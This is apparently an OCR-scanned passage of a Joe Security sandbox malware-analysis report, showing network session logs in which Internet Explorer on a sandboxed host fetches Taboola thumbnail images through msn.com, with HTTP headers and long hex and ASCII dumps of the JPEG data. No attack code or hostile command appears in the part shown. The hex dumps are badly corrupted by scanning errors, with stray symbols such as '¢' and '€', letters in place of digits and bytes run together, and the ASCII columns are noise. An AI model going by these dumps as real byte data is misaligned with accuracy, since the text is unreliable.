Data Ascii: 1&@s1|Mc]2]5¢c3INnxR%w4,q($W6nRNIGA~A@*-I1$a46Q~{yPW/A?b@OXE0@ M[aQ "zz{p:sK*m>>"|N{?k oDh
"oq<?

2021-12-03 00:05:28 UTC 171 IN Data Raw: b9 f3 25 3f 59 82 55 15 3e cd 52 a7 ac 4d a4 c9 4a 01 Oc cc 68 dd 29 04 5b f9 72 9b df 15 f4 9e 14 1c dc 4d c2
48 86 b8 bl cl c2 e2 de 1d 15 5¢c dc cd 2d 26 64 46 de 9c 55 ed a3 79 bc d5 69 cc 31 25 ¢5 ¢7 90 ¢2 cc 79 0d 3a 6¢ €3 52
18 0a 43 cc ad 06 ca 2a 4b ad b8 95 2b 8b 5d 3d 6f 8f 51 8e cc dO ed c4 da 17 96 f6 5 71 6e a2 8b 6d a8 b5 05 44 53 33
19 74 32 €3 05 b7 da 73 77 dd 28 0a 29 59 3b 80 4a ae 38 3c 1f 4f 2b 44 d3 7a 78 aa 8c c0 88 23 a0 23 de 55 35 8f ed 66
d1 5d 06 91 16 9a b8 f5 5¢ f1 a9 f1 29 68 a7 57 2 8e 5¢ Oc 49 76 43 e8 42 45 3a 5d 66 a0 a7 c5 3b 2f 14 a7 73 9d dd 49
c3 3e 6254 44 58 8f 29 27 19 el fc 2b 71 1c el 89 f6 c6 94 af 59 f0 8d d7 56 1b bl 35 b1 89 be bb f2 b4 1e 3d 79 df a8 da
a9 db e7 b7 fe e8 ee cd 91 d9 bb 43 27 90 16 cb 13
Data Ascii: %?YU>RMJh)[rMH\-&dFUyi1%y:IRC*K+]=0QqnmDS3t2sw()Y;J8<O+Dzx##U5f\)hW\IVCBE:]f;/sI>bTDX)"
+qYV5=yC'
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kBytes
Timestamp transferred

2021-12-03 00:05:28 UTC 172

2021-12-03 00:05:28 UTC 173

2021-12-03 00:05:28 UTC 174

Session ID Source IP

5 192.168.2.3
kBytes

Timestamp transferred

2021-12-03 00:05:28 UTC 15

2021-12-03 00:05:28 UTC 35

2021-12-03 00:05:28 UTC 37

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49820

Direction

ouT

Data

Data Raw: 11 62 1b be ee a4 91 c7 7 f1 f9 e0 ae 30 c5 24 d7 98 bc 4e b0 a3 9¢ 84 15 c1 48 f2 f3 {3 f2 ff 00 6¢ 14 16 6d 24
f4 51 92 29 80 83 66 d2 39 b6 e2 0f 3c 9e 79 3 fe f8 28 60 ad c8 8a fa 53 2 a2 24 52 92 a4 6d ee ae 7d e2 6d 6f 2f 86 24
52 be 46 cb a3 e6 10 d8 fa 62 9b d2 2d a8 1e aa d4 99 97 fb d5 00 96 46 ee 78 b8 bf cf 8f ab 79 Ob e2 af fa 9a 44 00 68 64
5f 8¢ 5f 4d bd 54 b3 1b ea 8f a6 4f 86 f7 b7 9f a2 b3 2a d9 51 4e 02 15 1d 29 b1 e0 94 15 15 58 8e 96 €0 01 c7 a7 8e 39
8e 00 70 20 c8 a4 e9 7f 2f ca e8 6b e4 c5 22 ab 1f d4 32 47 78 a2 12 d7 bc ab 26 c1 2a 4a ac 45 ae 93 61 ef 03 cd cf 97
36 e7 1c ef c1 2d 30 d9 23 73 d2 2d fc 37 5a b6 03 81 d8 fb 11 6a ef 65 ac d9 cf 27 d4 34 d7 35 47 cd 51 50 f8 a0 57 96 18
aa 96 9b 3b 21 d6 db 00 09 4a 40 49 4b 0d

Data Ascii: bO$NHIM$Q)f9<y(' SSRm}mo/$RFb-FxyDhd__ MTO*QN)X9p /k"2Gx&*JEa6-0#s-7Zje'45GQPW;J@IK

Data Raw: 13 88 6b 5a 60 40 8d b9 52 3b a2 el c6 c2 25 e5 cd 8d 24 7b ef fd a6 8a ca 9d 13 b4 e7 69 85 cf cb 7a 67 Oa af
a2 da 3f 12 a3 2a 8f 5b d5 4c ¢3 4d 97 4a ce b9 ec c1 29 62 7b 3a 69 48 9a db 12 28 99 59 Of {7 b1 7f e6 Oc €8 e6 a3 98
10 89 2a ca 51 61 53 17 07 33 49 d4 {7 af 7e 88 cc 26 50 b8 10 6b ae dc c7 ef 5a 2¢c €9 a2 bd 87 b4 8b 45 bb ba 94 0a 02
73 5e 6¢ Oe 19 32 73 3e 65 22 ab 31 55 25 a9 4b 93 3a 1b 12 8¢ 86 63 cb 75 d5 17 5f 9d 25 72 ea 12 5d 5a 9c 91 25 6e
29 6a 2a e8 6b eb cf f4 b6 €9 bf 4f e2 db 74 51 de 78 95 3a 5¢ 74 94 84 ac ac 92 6¢ 92 3d de 9c 01 fe 91 64 f9 00 31 59 7f
fb 47 7d 52 9a cf Oa 8f 7e e2 76 52 b1 €9 c9 67 94 al b0 al 61 dO 5c Of 2b f5 b7 80 bf 86 21 a5 cc ff 00 19 f3 16 d8 28 ef
92 97 66 21 45 ac 84 aa f7 bf 36 e8 4f c7 8 62 €0

Data Ascii: kZ' @R;%${izg?*[LMJ)b{:iH(Y*QaS3I~&PkZ,Es"2s>e"1U%K:cu_%r]Z%n)j*kOtQx:\tiI=d1YG}R~vRga\+!(flE60b

Data Raw: al b4 9e b6 df c7 c7 80 4b 46 6d 27 a8 bd 8f 89 bf 99 fa b6 25 64 a5 59 65 0a 2a 57 20 8f 5f 21 82 27 e8 1e 3f
2f4b 71 822593 75 71 73 6b 60 al c7 28 06 2 63 c9 04 da fc 8b e0 b1 26 4c a7 21 21 2b 16 1e 67 f5 fa fc b0 53 9b €9
cb e7 c9 2b 82 d1 82 1a 04 cc 4d 4f 32 86 0a ca 87 al f8 1c 11 18 df 80 4d ec 07 e6 2f 82 2a 60 88 60 88 e8 3c db cf c7
e18225d1f787cff4389171cc7aa2alea7e27f5c4227c93703e00 7e 1c 7e d8 c5 df 71 ee f5 5d 02 a0 1d d1 da
ea 7ff7 7ff2 ¢5 51 2d 82 25 c7 41 fO 1f a6 08 9c Oe 83 e0 3f 4c 11 7f ff d9

Data Ascii: KFm'%dYe*W _!I'2/Kq%uqgsk (c&L!!+gS+MO2M/*"<%8qz~"'|p>~~q]Q-%A?L

Destination IP Destination Port Process

151.101.1.44 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%
2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F967a29a37¢896af671157d56f753b141.jpg HTTP/1.1
Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://www.msn.com/de-ch/?ocid=iehp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: img.img-taboola.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 7451

Server: nginx

Content-Type: image/jpeg

access-control-allow-headers: X-Requested-With

access-control-allow-origin: *

edge-cache-tag: 597528982089565391558186606903645902496,335819361778233258019105610798549877581,29ec
f9b93bbf306179626feedalfab70

etag: "f7fe8bcel1e188b9ad4f853db245h8f1"

expiration: expiry-date="Tue, 30 Nov 2021 00:00:00 GMT", rule-id="delete fetch for taboola after 30 days"
last-modified: Sat, 30 Oct 2021 05:39:38 GMT

timing-allow-origin: *

x-ratelimit-limit: 101

x-ratelimit-remaining: 98

x-ratelimit-reset: 1

X-envoy-upstream-service-time: 135

X-backend-name: LA_DIR:3FP7YNX3LMizprTZsG7BSW--F_LA nlb201

Via: 1.1 varnish, 1.1 varnish

Cache-Control: public, max-age=31536000

Accept-Ranges: bytes

Date: Fri, 03 Dec 2021 00:05:28 GMT

Age: 1036177

X-Served-By: cache-wdc5571-WDC, cache-dcal7722-DCA, cache-mxp6982-MXP

X-Cache: MISS, HIT, HIT

X-Cache-Hits: 0, 1, 1

X-Timer: S1638489928.205565,VS0,VE1

Vary: ImageFormat

X-debug: /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_f{ill%2Cg_faces:auto%2Ce_sharpen/htt
p%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F967a29a37¢c896af671157d56f753b141.jpg
X-vcl-time-ms: 1

Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 05 05 05 05 05 05 06 06 06 06 08 09
08 09 08 Oc Ob Oa Oa Ob Oc 12 0d Oe 0d Oe 0d 12 1b 11 14 1111 14 11 1b 18 1d 18 16 18 1d 18 2b 22 le le 22 2b 32 2a
28 2a 32 3c 36 36 3c 4c 48 4c 64 64 86 01 05 05 05 05 05 05 06 06 06 06 08 09 08 09 08 Oc Ob 0a Oa Ob Oc 12 0d Oe 0d
0e0d121b1114111114111b 18 1d 18 16 18 1d 18 2b 22 1e 1e 22 2b 32 2a 28 2a 32 3¢ 36 36 3c 4c 48 4c 64 64 86 ff
€200 11 08 01 37 00 cf 03 01 22 00 02 11 01 03 11 01 ff c4 00 34 00 01 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00
05 06 03 04 07 02 01 08 01 01 00 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 02 03 04 01 05 06 ff da 00 Oc 03 01 00
02 10 03 10 00 00 00 fd 96 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii: JFIF+"'+2*(*2<66<LHLdd+""+2*(*2<66<LHLdd7"4
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kBytes

Timestamp transferred Direction
2021-12-03 00:05:28 UTC 38 IN
2021-12-03 00:05:28 UTC 39 IN
2021-12-03 00:05:28 UTC 41 IN
2021-12-03 00:05:28 UTC 42 IN
2021-12-03 00:05:28 UTC 43 IN
Session ID Source IP Source Port
6 192.168.2.3 49821
kBytes
Timestamp transferred Direction
2021-12-03 00:05:28 UTC 16 ouT
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Data

Data Raw: €5 76 ae 76 2c 8a 51 3e f6 74 3b 65 cb 5e 57 4c 02 66 26 66 65 42 c7 b2 14 90 4f 5e 20 18 6e 8b e6 fd 6a 6b
94 d2 55 9d 08 18 99 22 f9 ae e8 33 e3 a8 94 f5 b4 d7 90 66 b5 94 92 72 93 12 35 ec 3d d6 8f dd 84 7c 1a e6 e2 fb 42 ba
ce d1 84 4b 25 79 3d aa a8 ff 00 0d af Oa bf 14 56 5a fa 47 5e 8b 5¢c 56 eb 24 e7 5a 26 66 31 ac 15 26 cf f1 dd 75 67 88 13
fc 36 a7 ae a3 42 4a a6 95 eb 7 eb 94 cb a3 ab dd fa b7 49 cb ef 5a b0 9b 64 c1 26 f6 09 88 f5 6¢ 02 30 35 d8 2a 2c e6 e7
5 9c d6 15 73 44 e5 75 bb 51 e5 4d ab d4 d6 c6 c9 9e 97 c1 66 8a 25 79 74 6¢ 32 e9 ba 55 69 6d ab 7c 9d f1 25 51 8b 46
8f 86 6b d9 af 66 fd ef 28 ca ae b1 ab 9d 25 08 99 f6 29 92 39 2f fa e2 28 ch 22 58 c2 d4 ec 9f 17 ee 31 e5 d9 6f 74 ff 00 b6
9c 6b aa 68 9f 37 c4 21 d5 95 3c Oa 64 22 22

Data Ascii: vw,Q>t;e"WLf&feBO” njkU"3fr5=|BK%y=VZGNV$Z&f1&ug6BJIIZd&I05* sDuQMf%yti2Uim|%QFkf(%)9/("
Xlotkh7!<d™

Data Raw: e8 54 cd 72 26 f0 58 74 a9 57 2c 95 46 85 98 f1 c1 68 cf df 90 c1 e0 cf 99 e0 32 39 ef e7 92 5e 39 €7 82 71 e3
f3 ef 1e 79 25 1c 4f 42 b9 3f ef €9 ff 00 70 53 e3 c4 €9 b7 al b8 23 cd 6d 46 75 le c2 af b8 16 85 4b f9 26 b1 be 98 b8 af
3e 25 8b 70 10 fb 41 Ob 97 ff 00 32 fO 88 fc bl e2 20 45 cf 84 €9 {5 d4 25 10 85 59 64 79 35 a3 38 9b 23 26 3d bb 5a bf d3
ce 35 42 cf 44 3f 1e 7c 70 d0 43 fd 3c 18 fe 38 26 7c 17 4c 7d bc 8b 79 Oc el b3 ed cf 93 92 7f {7 Oc fb fe 7e 5f fO e8 e7 54
d5 a8 cab6 8367 11 f9 76 ce a5 91 7d 23 ac el b5 5b 95 ad 8d c5 fb 2c e2 b9 78 f6 2b 58 bd 47 de 17 6b 4e 73 f6 34 67
5a d3 2b 3f b0 ef c6 29 25 09 46 87 67 d9 be 12 a2 7d eb 4a a5 51 ad 9e 61 d6 24 65 Oa cf 8d 01 91 8f b3 16 31 fd 0a 07
fe Of c4 73 e5 98 fe ab 77 98 fc cb 07 c7

Data Ascii: Tr&XtW,Fh29°9qy%OB?pS#mFuK&>%pA2 E%Ydy58#&=25BD?|pC<8&|L}y~_Tgv}#[,x+XGkNs4gZ+
?)%Fg}JQa$elsw

Data Raw: 93 05 c6 31 42 ea 24 24 9c 11 9f 84 f3 22 85 cd c3 ff 00 05 b1 f5 72 16 bb ab 89 c6 99 64 89 54 f2 09 ab fc a9
fb 2f b3 63 0a 24 6b 96 24 13 84 2b 9c 0d c9 dc 70 a7 b6 75 8c 48 a4 32 e3 e2 c7 15 3c 2 3d f5 6¢ 52 4a 07 3a 85 d1 77
5007 98 14 b7 15 1c d9 22 a2 9c cb 2c 3 96 00 67 42 8c 8 45 47 1a b5 c2 88 5d b2 4f ef Of 20 b5 3a 08 e7 99 17 38 59
19 46 7a 03 f2 11 ca 50 b8 24 0a 59 d9 ce 8e {7 46 79 d4 e2 19 27 4c a0 c2 ae fe 7d 01 a6 b9 8e 04 c2 a8 03 92 8d b3 4c
¢5 99 99 b8 92 49 5 3f 26 38 9e 4e 1c 3a d3 cb 10 89 63 55 c9 03 8d 34 ec c5 9b 99 34 49 27 27 e4 24 45 c6 75 28 f5 34
91 c4 a7 2f 22 91 d0 53 ca c4 04 56 3a 46 40 e5 fc fb ff c4 00 33 11 00 02 01 03 01 06 02 07 09 01 00 00 00 00 00 00 01
020003 113121041213415171308110142022

Data Ascii: 1B$$"rdT/c$k$+puH2<=IRJ:wP",gBEG]O :8YFzP$YFy'L}LI?&8N:cU44I"$Eu(4/'SV:F@31!AQq0 "

Data Raw: d3 12 77 d6 d4 9a 88 13 36 a4 c2 c2 32 69 06 a0 73 6a 33 62 5a fd 64 ed 99 f0 a2 49 d4 9e 80 91 a8 bb 3b 1b
2a 8e 24 9a d8 03 da c4 91 da 6e 48 Oe 82 a7 6e 77 22 9c Ob e8 0d cd 1b 15 cb be 83 53 53 8f 31 41 c0 dc ea 18 7a d6 Oc
38 d1 84 6a 18 78 8a 42 b4 a2 20 c3 6b 64 66 45 2b 2b 03 62 cb c0 db 43 4a a4 1b 11 d5 b6 44 78 50 0d 71 67 Ob b2 47
8d 3b 09 94 dc b6 e2 bc fa 2¢ cl fa c5 ee 60 05 39 03 30 2b 65 c4 85 ae 4e 60 52 89 02 fd a4 ba 95 bf ba 39 d3 24 1e d5
98 6 e4 ef de 05 08 b0 eb 90 Ob 97 4e ca e8 aa 33 67 3c 14 50 8f Oe a6 €9 Oa €9 de dc 4f 44 ff 00 fb 5a a4 73 be ee 4d 0d
85 b9 1b 6a 1a d7 el 4e 3b 82 8f d0 51 23 9a 29 f9 56 1e 40 06 8f 1f f6 22 92 1c 3b 2f d9 c7 10 b0 7f cc c4 fa 0a 65 3c 3d
a5 f2 34 f1 8d 04 8a 49 8¢ f7 83 a5 6d af 14 3b 27 e7

Data Ascii: w62isj3bZdl;*$nHnw"SS1Az8jxB kdfE++bCJIDxPqgG;, 90+eN RI$SN3g<PODZsM|N;Q#)V@";/e<=4Im;’

Data Raw: 69 4e 89 12 97 6f 4a 8e 05 3a 19 a4 03 d1 6e 6b e8 df f7 c9 ff 00 Oa fa 37 c5 e4 ff 00 85 60 1f ba 57 f9 a0 a6 90
5f 58 a4 47 f4 06 ff 00 5b ac 9d 85 e3 81 08 da 6e 67 82 f3 a0 22 0d 74 81 32 45 fe e6 9a 49 4f b2 8a 2e 4d 34 4b 05 a5 9d
d4 d9 9a 5d 72 23 70 34 88 ea 87 69 ce 48 €3 40 4d f4 e7 40 62 f1 bd 8d 95 d4 44 3d b3 dc 74 ab 1a 2b 84 88 b1 ea b7 06
3a 3371 35 b4 d3 b2 ed b7 25 1a 7d 40 05 4b 2a 9f de 91 b1 18 ff 00 53 58 51 97 fe c4 04 a2 78 b6 a6 a2 81 37 84 50 2f
cc f1 3f 73 16 d8 d5 10 f5 8d 7e 04 25 ed 58 82 ec 2c 92 ¢8 14 2a 9e 24 02 69 9e 67 37 77 6¢ c9 34 90 61 a3 36 69 98 5e
e4 6a 14 55 81 3d a9 4e 6f 27 32 6a 49 b1 4c 36 ff 00 67 84 5c ad f4 da 26 c0 52 el 70 20 83 fb 3a 1b 97 23 4d b6 ac 42
c2 c3 b2 db 3a 01 bc 8d 40 e6 68 1e 15 63 d3 61

Data Ascii: iNoJ:nk7"W_XG[ng"t2EIO.M4K]r#p4iH@M@bD=t+:395%}@K*SXQX7P/?s~%X,*$ig7wl4a6i"jU=No'2jIL6g\&Rp
#MB:@hca

Destination IP  Destination Port Process

151.101.1.44 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%
2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2Fa7d05af5e60e8707568c7b40b90566¢c.jpeg HTTP/1.1
Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://www.msn.com/de-ch/?ocid=iehp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: img.img-taboola.com

Connection: Keep-Alive
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kBytes
Timestamp transferred

2021-12-03 00:05:28 UTC 54

2021-12-03 00:05:28 UTC 55

2021-12-03 00:05:28 UTC 57

2021-12-03 00:05:28 UTC 58

2021-12-03 00:05:28 UTC 59

2021-12-03 00:05:28 UTC 61

2021-12-03 00:05:28 UTC 62

Copyright Joe Security LLC 2021

Direction

IN

Data

HTTP/1.1 200 OK

Connection: close

Content-Length: 30796

Server: nginx

Content-Type: image/jpeg

access-control-allow-headers: X-Requested-With

access-control-allow-origin: *

edge-cache-tag: 338482543424149532371254866430263034576,335819361778233258019105610798549877581,29¢ec
f9b93bbf306179626feedalfab70

etag: "clbc6da29ba675834490b65dcfbc589e"

expiration: expiry-date="Thu, 14 Oct 2021 00:00:00 GMT", rule-id="delete fetch for taboola after 30 days"
last-modified: Mon, 13 Sep 2021 21:17:03 GMT

timing-allow-origin: *

x-ratelimit-limit: 101

x-ratelimit-remaining: 100

x-ratelimit-reset: 1

X-envoy-upstream-service-time: 123

X-backend-name: LA_DIR:3FP7YNX3LMizprTZsG7BSW--F_LA nlb203

Via: 1.1 varnish, 1.1 varnish

Cache-Control: public, max-age=31536000

Accept-Ranges: bytes

Date: Fri, 03 Dec 2021 00:05:28 GMT

Age: 4887600

X-Served-By: cache-wdc5535-WDC, cache-dcal7744-DCA, cache-mxp6973-MXP

X-Cache: HIT, HIT, HIT

X-Cache-Hits: 1, 1, 1

X-Timer: S1638489928.211570,VS0,VE1

Vary: ImageFormat

X-debug: /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/htt
p%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2Fa7d05af5e60e8707568c7b40b90566cc.jpeg
X-vcl-time-ms: 1

Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 04 04 04 04 04 04 04 05 05 04 06 06
06 06 06 09 08 07 07 08 09 0d Oa Oa Oa Oa Oa 0d 14 0d Of 0d Od Of 0d 14 12 16 12 11 12 16 12 20 19 17 17 19 20 25 1f 1e
1f 25 2d 29 29 2d 39 36 39 4b 4b 64 01 09 09 09 09 Oa 09 Oa Oc Oc Oa Of 10 Oe 10 Of 15 14 12 12 14 1520 17 19 17 19 17
20 31 1f 24 1f 1f 24 1f 31 2c 35 2b 28 2b 35 2c 4e 3d 37 37 3d 4e 5a 4c 48 4c 5a 6e 62 62 6e 8a 83 8a b4 b4 2 ff c2 00 11
08 01 37 00 cf 03 01 11 00 02 11 01 03 11 01 ff c4 00 33 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 05 06 03 04
07 02 01 08 00 01 00 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 ff da 00 Oc 03 01 00 02 10 03 10
00 00 00 d8 fc de ec 13 a7 9f c0 ba 2b c0 42 Oa 6 f8

Data Ascii: JFIF %%-))-969KKd 1$$1,5+(+5,N=77=NZLHLZnbbn73+B

Data Raw: €5 57 65 18 c9 43 fc f4 05 39 5a 86 f8 69 52 2d 5a cb 2a ff 00 6d 97 d1 bc dd 4d eb 3f 9e 22 85 de 1b d6 55 f3
8f 67 3d be 67 57 5d 23 09 65 d6 d1 16 cf 3a a9 ba 73 ba 5a 25 9e bb 5a d6 2e 64 ad e5 ad ad 65 88 c8 ae 89 76 6b 1f b9
71 cb 60 ba 27 88 d5 36 f1 cf b5 c5 cf 9f a3 60 e6 d5 73 a7 9e ce 31 9d f4 14 6e 2f Oe f4 3d 27 8f 55 5e 94 2a 51 5 a6 61
d59d 17 2c 79 56 d5 e7 bc bf b8 d9 6f 31 83 42 1a ec b2 53 79 07 5f 37 88 90 26 41 58 d7 6d e5 d3 f6 cb 2d 79 98 80 26
89 b9 58 69 5e e8 d4 f4 83 dc d5 a4 el d2 07 7e 6f d8 83 75 35 fe 0d 2a 76 65 73 a5 53 4d 2a 5a ¢3 b0 d5 2b 1a 65 08 57
6a 50 b5 2f 5e e6 d9 a9 bc ac cd b7 06 bd b9 76 00 1d 26 ad e6 eb 5a a7 20 ef cf 4a e6 a8 0a 01 79 35 73 6b 33 34 Oe 9c
a9 6a 2f 82 5e 7a 00 b3 3e df 9d df 1d 94 34 cf fO

Data Ascii: WeC9ZiR-Z*mM?"Ug=gW]#e:sZ%Z.devkq '6 s1n/='U*Qa,yVolBSy_7&AXm-y&Xi*~ou5*vesSM*Z+eWjP/ v&Z
Jy5sk34j/"z>4

Data Raw: 9b 04 4c 8c b5 b4 44 5a 9e 83 51 50 73 58 96 85 ff 00 b3 fa d0 94 fe 93 13 50 0f ¢5 bc fa fa a2 d4 f1 e0 00 17
99 82 4f d4 3a c0 e6 b0 4b 5e 83 f3 5a de 2d 2a 45 bc d6 bf 29 f5 60 d6 bl 13 le be 11 5f 1f aa 5f 7 58 af 89 Oc df fc 9b
56 d5 b4 c4 c2 ea d9 c3 8c 54 83 29 49 a4 8d 6a 52 bf de 22 7d 56 f0 a4 06 d4 35 cd 25 35 c8 4f 4a 80 f1 fb a8 82 0a 9a
b3 78 9f a3 e5 1e 6d 26 f9 95 78 99 22 09 a3 a4 99 83 f0 01 26 d4 af d9 51 58 76 f8 c4 54 94 {8 cf 9f 27 99 bf 88 bd 46 28
8b 57 cc 7e 3d aa 9d cf e2 b7 8f 3e 62 03 6f 94 4f a3 16 45 4a 7f 5a 7d 95 8f 31 31 3e 2d fa f5 52 5a de 67 cd 6b 62 7e fd
09 7f 8c 7a 08 e6 6f 15 f4 3e 4c 2c ab 3 fb f2 fO cc 96 36 ¢3 c5 aa 02 a5 2 f4 58 15 6b f3 f9 c4 5e 18 2d 7f 1e 97 b7 ac 9a
8a 4d 42 5e 37 14 8¢ 55 93 67 cf 28 1c

Data Ascii: LDZQPSXPO:KAZ-*E)"__ XVT)IjR"}V5%50Ixm&x"&QXVT'F(W~=>boOEJZ}11>-RZgkb~z0>L,6 Xk -MB~7Ug(

Data Raw: 86 f3 7c 3e f3 a9 e7 09 e4 4c cf 47 ¢7 5 ¢3 88 22 3a 7c d8 83 21 10 ¢4 41 b4 83 5 49 f5 b5 2d 61 16 62 de a5
cf d5 6b 3 49 91 99 6b 7e 43 a5 5a 62 d7 a0 2a 93 59 3a 32 1a 96 b7 bc 84 91 52 Ob ea 2b 8d 96 54 af 87 41 69 1c 8d 94
1c ae 6¢ 3b 79 €9 ¢8 5d 07 6a ed 82 a4 d2 91 35 9a 5b el fb 9f 15 2f ca bf 1f 87 40 10 b9 d4 72 40 31 34 ce 42 74 bb 6¢
5a 78 3a ae 24 3b 15 08 3d 6e Of 22 bd 62 a0 67 41 35 c9 88 1c e4 33 €9 c1 12 55 ba 5a 56 a7 b7 fe el 73 fa 1a 7a 3¢ 49
76 3d c2 c0 d2 66 86 74 6f 58 31 6a d6 7c 59 7b 44 fe bd 5f 5 6 32 14 3a 47 54 15 d5 28 ¢9 5¢ 5d dc 3b dd 34 9e €6 €3
44 €7 67 19 bb ae 1b 19 18 da e8 02 d4 a9 02 7e 75 8a 66 bd 2 fc 51 61 f9 62 d6 11 ef 5d 32 44 de 61 79 25 47 7b 52 33
86 02 4f ¢5 9b ¢5 29 5b 4d 22 f0 dc 48 e0 77 a0 6e 2f

Data Ascii: [>LG"|!Al-abklk~CZb*Y:2R+TAilylj5[/@r@14BtiZx:$;=n"bgA53UZVsz<Iv=ftoX1j|Y{D_02:GT(];4ADg~uf,Qab]
2Day%G{R30)[M"Hwn/

Data Raw: 43 7f 13 5f 70 6d 69 11 44 4d 7c ec f6 8¢ e6 9b 53 bd bd aa 49 1d c4 ee 8e 8e 38 93 fa 49 59 10 2f 59 66 67 73
7f8e d1 8a 65 3d a9 d8 Ob 72 f9 f5 €9 f0 a3 77 83 7d 07 d4 bd 84 d3 9a a8 74 22 be de b8 ba Oe 62 c5 33 28 1b 44 f4 54
57 ab 39 b7 6a df 9b 4f c4 74 53 4a d8 6¢ 2d d6 3b 92 fe ea f5 cc bb fO 3b 84 be 9b 6b 0d fc 04 fa 8¢ d6 df f6 d2 aa 7 22
51 b4 fa 9f 6e 39 1c bf 6b 6f d8 63 1f a0 d6 1f 5a 9f 2d ae 7d b2 90 23 77 ef 03 18 €3 c2 c2 c8 79 f6 45 c8 bf ed 9f 77 83 3¢
3 8e 4e 15 f9 4d a7 c5 ca 76 32 ef b6 fd d6 10 34 35 af f3 ad 7a 13 29 4d 2d 9c c0 15 ff 00 32 13 aa 55 c1 35 99 21 6d 33
15 89 96 b4 8b 9e d2 a2 63 ac 54 78 c8 f3 5a 17 95 b9 e6 b6 4f a7 4a 30 f9 6f 62 c4 d4 aa 91 f4 9a al 56 0d d4 c3 Oe Oe
79 bac9eab9ccac89ch77 17 5d 4e 8b

Data Ascii: C_pmiDM|SI8IY/Yfgse=rw}t"b3(DTW9jOtSJI-;;k"Qn9kocZ-}#wyEw<NMv245z)M-2U5!m3cTxZ0J0obVyw]N

Data Raw: a9 eb a2 Ob 19 95 d9 41 7d 1b d2 92 db c0 ¢3 cc d8 59 ¢3 29 d2 3c f1 bf df 8d 7b 5e 97 47 2f 43 35 14 74 32 36
67 al db d8 eb 34 c2 Oe 89 d2 90 cd 35 53 b8 ce c3 ab ae 01 b3 16 1b 46 86 43 ca a4 e6 d2 9b bc 7d 7d 2b 34 6a 29 36
21¢7 61 4c Oe 66 91 e3 cf af 37 f1 fe f3 0d dd 1e ¢3 93 3¢ ¢7 6b 7b e5 7 4a dc b7 7d ad 17 04 2 53 8e 6¢ a2 67 fd 74 a4
c7 f2 ce a6 24 f1 8f 52 5b f1 80 62 b7 9c db a8 8a b6 13 22 53 9f 71 93 bd f4 62 e7 25 9d a9 a0 d1 e5 f4 3a 4d c1 60 9d a6
e8 33 a6 ea d7 ae 81 43 40 27 1b Oc e7 2d 1a 42 cb b6 8b al be 2e 24 3d a5 9b 9a ab Oc d9 ef fc 46 08 6d 12 85 55 d9 69
a2 ec 3d 1b 52 fe e5 a7 6a bf c1 f0 5¢ de 4f ab 7e a3 ¢5 7d 65 96 12 1d 0d 15 a3 58 Oc 2c 50 bd 7c cc 4d 15 77 {3 98 43
47 a6 e3 85 4e 53 2f b3 ca bd e6 e3 Oc 1f e6 3b 5a

Data Ascii: A}Y)<{"G/C5t26g45SFC}}+4j)6!aLf7<k{J}SIgt$R[b"Sqh%:M 3C@'-B.$=FmUi=Rj)\O~}eX,P|[MWCGNS/;Z
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kBytes
Timestamp transferred Direction Data

2021-12-03 00:05:28 UTC 63 IN Data Raw: c5 c5 06 a3 8e c0 4b bf b1 8c 1c dc 96 ad 5d 99 d9 5b 35 54 35 f6 ae 47 fa 76 45 98 c9 12 c6 c0 64 d8 a7 cf 33
82 e7 1d 7b 3a 9a 79 ed 29 54 c6 2f c4 b5 dc cf c4 cf 59 9d 2e 92 e5 a6 98 76 9b b6 1f b7 le df 74 68 4a 1f c8 €3 71 94 b6
86 8a 30 44 f3 6b 9e 01 e7 eb 00 3c da 47 ba b6 1d 32 7f 89 e7 dO ce 28 49 9c da 18 8f ec b8 8b bb 9c be 5e b8 b3 1c ae
27 3fc8 ed ad 6b a6 eb 88 73 3a 9c a6 f5 c5 b0 1e 8b 2f 3c f4 35 ce 29 e4 13 cd c1 79 ca 36 e4 a8 34 f0 12 68 5a 8a 1la
8a 02 ab 8a ff 00 fa 59 b5 4b 32 4c 3e 7d 2f a5 87 51 ec 32 05 48 d4 07 3f ff 00 9c 64 6b 66 30 9e Oe a6 ae a6 3e e6 61 52
18 b4 35 98 76 45 b2 80 17 d2 45 05 57 5f 3e 09 dO cb 66 db 71 83 57 69 6d ab e7 4e 91 b5 ba 63 bb aa d3 2e ac ac e7
ac ae 8559 00 25 5¢ b6 19 77 29 fe 9b a3 2d 35 f2
Data Ascii: K][5T5GVEd3{:y)T/Y.vthJgODk<G2(I""?ks:/<5)y64hZYK2L>}/Q2H?dkf0>aR5VEEW_>fqWimNc.Y%\w)-5

